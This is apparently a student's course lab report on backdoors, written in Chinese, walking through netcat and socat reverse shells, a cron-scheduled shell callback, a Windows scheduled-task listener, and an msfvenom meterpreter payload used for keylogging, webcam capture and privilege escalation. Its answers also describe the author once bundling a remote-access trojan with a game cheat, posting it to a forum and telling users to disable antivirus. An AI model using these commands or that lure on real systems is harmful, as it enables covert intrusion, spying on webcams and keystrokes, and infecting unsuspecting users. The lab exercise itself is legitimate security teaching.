Live2D

20154327 Exp2 后门原理与实践

实践内容

  • 使用netcat和socat、msf-meterpreter等工具获得主机权限,并进行一些恶意行为,如监控摄像头、记录键盘输入、截屏等。

  • 详情见实验指导书

实践过程

netcat

netcat获取主机操作Shell,cron启动

windows获得linux的shell
  • windows平台下利用cmd的ipconfig命令查看到本机的ip地址为172.30.6.204

  • kali在终端下使用ifconfig命令查看kali的IP地址为172.30.1.193

  • windows下使用ncat.exe -l -p 4327命令运行ncat.exe监听4327端口。

  • kali下使用为nc 172.30.6.204(即主机ip) 4327 -e /bin/sh命令连接windows的4327端口。

  • 连接成功后,我们就可以在windows主机获取kali的信息,如输入ls命令:

linux获得windows的shell
  • kali下使用nc -l -p 4327命令监听4327端口。
  • windows下使用ncat.exe -e cmd.exe 172.30.1.193 4327(即kali的IP地址)连接kali的4327端口。
  • 连接成功后,我们就可以在kali主机获取windows的信息,此时已成功获取windows的shell。
使用netcat传输数据
  • windows下使用ncat.exe -l -p 4327命令运行ncat.exe监听4327端口。

  • kali下使用为nc 172.30.6.204(即主机ip) 4327命令连接windows的4327端口。

  • 建立连接后,尝试传输。

cron启动
  • windows下使用ncat.exe -l -p 4327命令运行ncat.exe监听4327端口。

  • kali下使用crontab -e命令,设置一条定时指令,因为现在是22:15,所以我设置成在每小时的第20分钟反向连接windows主机的4327端口。

  • 20 * * * * /bin/netcat 172.30.6.204 4327 -e /bin/sh

  • 20分时连接成功,成功获得linux的shell,输入ls指令查看。(这里由于我使用的是中文版,所以桌面、文档、下载等均无法正常显示)

socat

socat获取主机操作Shell, 任务计划启动。

  • windows下在控制面板->管理工具->任务计划程序中新建一个触发器。

  • 再新建一个操作,程序路径选择socat.exe的安装路径,填写参数tcp-listen:4327 exec:cmd.exe,pty,stderr

  • 待重启后,刷新任务,可看到任务已经开始执行。

  • kali下使用socat - tcp:172.30.6.204(即主机ip):4327(端口),此时已成功获取windows的shell。

msf-meterpreter

msf-meterpreter 生成后门,传输到靶机获取shell

  • 在kali下输入命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f exe > 20154327.exe 生成一个名为20154327的后门程序

  • 使用netcat将这个后门程序传输到windows主机上。

  • 首先我们在windows下输入ncat.exe -lv 4327 > 20154327.exe

  • 随后在Linux下使用ncat -nv 172.30.6.204 4327 < 20154327.exe命令把文件传送过去

  • 这里在杀毒软件上设置20154327.exe为信任程序,后运行

使用msf获取目标摄像头,进行录屏、键盘记录等操作

  • 首先msf打开监听进程
  • msfconsole //进入msf
  • use exploit/multi/handler //进入handler模式
  • set payload windows/meterpreter/reverse_tcp //设置payload
  • set LHOST 172.30.1.193 //将LHOST设置为LinuxIP地址
  • set LPORT 4327 //设端口为那个4327
  • exploit //MSF开始监听

查看系统信息、获取键盘输入、截获摄像头

  • 系统信息:
  • 键盘记录:
  • 摄像头:
  • 提权:

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:以前尝试过,将生成好的灰鸽子文件和cf游戏外挂捆绑在一起,然后上传到游戏论坛上,并注明,因为有注入,所以会被误报,关闭杀软运行,等待肉鸡上线。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:如上例所说的捆绑方式,还有将自己设为开机启动,在开机后自动运行,以及伪装文件,将自己伪装成常用软件,等待用户点击。

(3)Meterpreter有哪些给你映像深刻的功能?

答:打开摄像头录拍,平时家里电脑放在桌子上,都是正对着床,以后还是用卫生纸挡住。

(4)如何发现自己有系统有没有被安装后门?

答:查看当前电脑的开机项,检测是否有未知项,查看电脑是否存在异常,例如莫名其妙出现的“全家桶”、cpu硬盘等占用异常。

实验心得与体会

  • 这次实验相比以前的实验显得有趣多了,体会到了网络攻防的乐趣,做到了以前以为只有hacker才能做到的事情,翻看他人的文件、记录他人的密码、利用摄像头进行录拍。再想想之后学会了免杀,就可以绕过安全软件了,不禁有些感叹,只学了几节课,就可以绕过市面上的杀软,入侵到别人的电脑中。可想而知,网上拥有黑客技术并不去约束自己的人应该会很多,信息安全任重道远。
posted @ 2018-03-27 22:25  lovezh  阅读(277)  评论(0编辑  收藏